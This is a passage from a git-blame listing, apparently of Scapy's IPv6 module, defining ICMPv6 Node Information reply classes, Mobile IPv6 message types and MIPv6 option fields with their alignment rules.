struct.unpack("!I", s[:4])[0] 2478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ip = inet_ntop(socket.AF_INET, s[4:8]) 2479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res.append((ttl, ip)) 2480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s = s[8:] 2481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s, (4, res) 2482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 2483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # XXX TODO : implement me and deal with real length 24841186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"", (0, s) 2485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self, pkt, x): 2487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 2488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "[]" 24890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2490d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if isinstance(x, tuple) and len(x) == 2: 2491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil t, val = x 2492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if t == 2: # DNS names 2493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ttl,l = val 2494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = dnsrepr2names(l) 2495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "ttl:%d %s" % (ttl, ", ".join(l)) 2496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif t == 3 or t == 4: 2497d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val))) 2498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return repr(val) 2499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return repr(x) # XXX should not happen 2500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# By default, sent responses have code set to 0 (successful) 25020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): 2503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Reply - NOOP Reply" 2504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 140, icmp6types), 2505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("code", 0, _nireply_code), 2506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 2507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortEnumField("qtype", 0, icmp6_niqtypes), 250877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil BitField("unused", 0, 10), 25090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz FlagsField("flags", 0, 6, "TACLSG"), 251077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil NonceField("nonce", None), 2511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil NIReplyDataField("data", None)] 2512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyName(ICMPv6NIReplyNOOP): 2514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Reply - Node Names" 2515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype = 2 2516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): 2518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Reply - IPv6 addresses" 2519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype = 3 2520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25210d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): 2522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Reply - IPv4 addresses" 2523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype = 4 2524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): 2526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" 2527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil code = 1 2528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): 2530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" 2531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil code = 2 2532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef _niquery_guesser(p): 25357b3e970663abd72697e17b70aba9943ae0dad404Phil cls = conf.raw_layer 2536b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter type = orb(p[0]) 2537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if type == 139: # Node Info Query specific stuff 2538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if len(p) > 6: 2539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype, = struct.unpack("!H", p[4:6]) 2540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = { 0: ICMPv6NIQueryNOOP, 2541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: ICMPv6NIQueryName, 2542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: ICMPv6NIQueryIPv6, 25437b3e970663abd72697e17b70aba9943ae0dad404Phil 4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer) 2544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif type == 140: # Node Info Reply specific stuff 2545b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter code = orb(p[1]) 2546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if code == 0: 2547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if len(p) > 6: 2548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype, = struct.unpack("!H", p[4:6]) 2549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = { 2: ICMPv6NIReplyName, 2550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: ICMPv6NIReplyIPv6, 2551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP) 2552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif code == 1: 2553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = ICMPv6NIReplyRefuse 2554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif code == 2: 2555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = ICMPv6NIReplyUnknown 2556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return cls 2557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 2560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 2561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) ### 2562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 2563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 2564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 ICMPv6 related classes 2566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6HAADRequest(_ICMPv6): 2568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'ICMPv6 Home Agent Address Discovery Request' 2569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 144, icmp6types), 2570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code", 0), 2571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 2572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("id", None), 2573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitEnumField("R", 1, 1, {1: 'MR'}), 2574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XBitField("res", 0, 15) ] 2575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 2576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return struct.pack("!H",self.id)+self.payload.hashret() 2577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6HAADReply(_ICMPv6): 2579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'ICMPv6 Home Agent Address Discovery Reply' 2580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 145, icmp6types), 2581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code", 0), 2582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 2583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("id", None), 2584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitEnumField("R", 1, 1, {1: 'MR'}), 2585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XBitField("res", 0, 15), 2586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6ListField('addresses', None) ] 2587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 2588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return struct.pack("!H",self.id)+self.payload.hashret() 2589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 2591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not isinstance(other, ICMPv6HAADRequest): 2592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 25930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz return self.id == other.id 2594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6MPSol(_ICMPv6): 2596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'ICMPv6 Mobile Prefix Solicitation' 2597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 146, icmp6types), 2598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code", 0), 2599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 2600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("id", None), 2601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("res", 0) ] 2602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def _hashret(self): 2603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return struct.pack("!H",self.id) 2604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): 2606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'ICMPv6 Mobile Prefix Advertisement' 2607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 147, icmp6types), 2608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code", 0), 2609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 2610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("id", None), 26110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}), 2612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XBitField("res", 0, 14) ] 2613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 2614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return struct.pack("!H",self.id) 26150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 2617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return isinstance(other, ICMPv6MPSol) 2618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 Options classes 2620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mobopttypes = { 2: "Binding Refresh Advice", 2623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "Alternate Care-of Address", 2624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "Nonce Indices", 2625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 5: "Binding Authorization Data", 2626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: "Mobile Network Prefix (RFC3963)", 2627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7: "Link-Layer Address (RFC4068)", 26280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 8: "Mobile Node Identifier (RFC4283)", 2629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 9: "Mobility Message Authentication (RFC4285)", 2630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 10: "Replay Protection (RFC4285)", 2631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 11: "CGA Parameters Request (RFC4866)", 2632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 12: "CGA Parameters (RFC4866)", 2633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 13: "Signature (RFC4866)", 2634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 14: "Home Keygen Token (RFC4866)", 2635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 15: "Care-of Test Init (RFC4866)", 2636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 16: "Care-of Test (RFC4866)" } 2637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 26390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _MIP6OptAlign: 26400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz """ Mobile IPv6 options have alignment requirements of the form x*n+y. 26410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz This class is inherited by all MIPv6 options to help in computing the 26420d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz required Padding for that option, i.e. the need for a Pad1 or PadN 26430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz option before it. They only need to provide x and y as class 2644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil parameters. (x=0 and y=0 are used when no alignment is required)""" 2645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def alignment_delta(self, curpos): 2646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = self.x ; y = self.y 2647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x == 0 and y ==0: 2648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 264963ae11708b02df74dd3e8d2385d2829f3d622d66gpotter delta = x*((curpos - y + x - 1)//x) + y - curpos 2650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return delta 26510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptBRAdvice(_MIP6OptAlign, Packet): 26540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz name = 'Mobile IPv6 Option - Binding Refresh Advice' 2655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField('otype', 2, _mobopttypes), 2656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField('olen', 2), 26570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz ShortField('rinter', 0) ] 2658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 2 ; y = 0# alignment requirement: 2n 2659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptAltCoA(_MIP6OptAlign, Packet): 2661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'MIPv6 Option - Alternate Care-of Address' 2662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField('otype', 3, _mobopttypes), 2663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField('olen', 16), 2664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("acoa", "::") ] 2665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 8 ; y = 6 # alignment requirement: 8n+6 2666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 26670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptNonceIndices(_MIP6OptAlign, Packet): 2668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'MIPv6 Option - Nonce Indices' 2669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField('otype', 4, _mobopttypes), 2670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField('olen', 16), 2671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField('hni', 0), 2672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField('coni', 0) ] 2673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 2 ; y = 0 # alignment requirement: 2n 2674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 26750d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptBindingAuthData(_MIP6OptAlign, Packet): 2676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'MIPv6 Option - Binding Authorization Data' 2677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField('otype', 5, _mobopttypes), 2678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField('olen', 16), 2679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField('authenticator', 0, 96) ] 2680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 8 ; y = 2 # alignment requirement: 8n+2 2681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 26820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963 2683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'NEMO Option - Mobile Network Prefix' 2684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), 26855bbe280843fec8d5955914c78f52cb9cef7d61a4Phil ByteField("olen", 18), 2686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("reserved", 0), 2687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("plen", 64), 2688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("prefix", "::") ] 2689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 8 ; y = 4 # alignment requirement: 8n+4 2690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068 2692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 Option - Link-Layer Address (MH-LLA)" 2693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 7, _mobopttypes), 2694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("olen", 7), 2695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("ocode", 2, _rfc4068_lla_optcode), 2696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("pad", 0), 2697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil MACField("lla", ETHER_ANY) ] # Only support ethernet 2698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283 2701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 Option - Mobile Node Identifier" 2702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 8, _mobopttypes), 2703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("olen", None, length_of="id", fmt="B", 2704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil adjust = lambda pkt,x: x+1), 2705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("subtype", 1, {1: "NAI"}), 2706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("id", "", 2707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.olen-1) ] 2708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 27100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We only support decoding and basic build. Automatic HMAC computation is 27110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# too much work for our current needs. It is left to the user (I mean ... 2712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# you). --arno 2713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5) 2714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 Option - Mobility Message Authentication" 2715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 9, _mobopttypes), 2716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("olen", None, length_of="authdata", fmt="B", 2717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil adjust = lambda pkt,x: x+5), 2718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", 2719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "MN-AAA authentication mobility option"}), 2720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("mspi", None), 2721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("authdata", "A"*12, 2722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.olen-5) ] 2723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 4 ; y = 1 # alignment requirement: 4n+1 2724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Extracted from RFC 1305 (NTP) : 27260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# NTP timestamps are represented as a 64-bit unsigned fixed-point number, 27270d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# in seconds relative to 0h on 1 January 1900. The integer part is in the 2728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# first 32 bits and the fraction part in the last 32 bits. 2729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NTPTimestampField(LongField): 2730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self, pkt, x): 2731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x < ((50*31536000)<<32): 2732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "Some date a few decades ago (%d)" % x 2733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 27340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to 2735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # January 1st 1970 : 2736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil delta = -2209075761 2737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil i = int(x >> 32) 2738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil j = float(x & 0xffffffff) * 2.0**-32 2739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = i + j + delta 27400aeb049606bee9335e62afea58479915bd6e2344Pierre LALET t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res)) 2741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "%s (%d)" % (t, x) 2743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6) 2745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 option - Replay Protection" 2746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 10, _mobopttypes), 2747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("olen", 8), 2748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil NTPTimestampField("timestamp", 0) ] 2749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 8 ; y = 2 # alignment requirement: 8n+2 2750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6) 2752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 option - CGA Parameters Request" 2753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 11, _mobopttypes), 2754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("olen", 0) ] 2755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX TODO: deal with CGA param fragmentation and build of defragmented 27580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# XXX version. Passing of a big CGAParam structure should be 2759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX simplified. Make it hold packets, by the way --arno 2760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1) 2761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 option - CGA Parameters" 2762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 12, _mobopttypes), 2763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("olen", None, length_of="cgaparams", fmt="B"), 2764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("cgaparams", "", 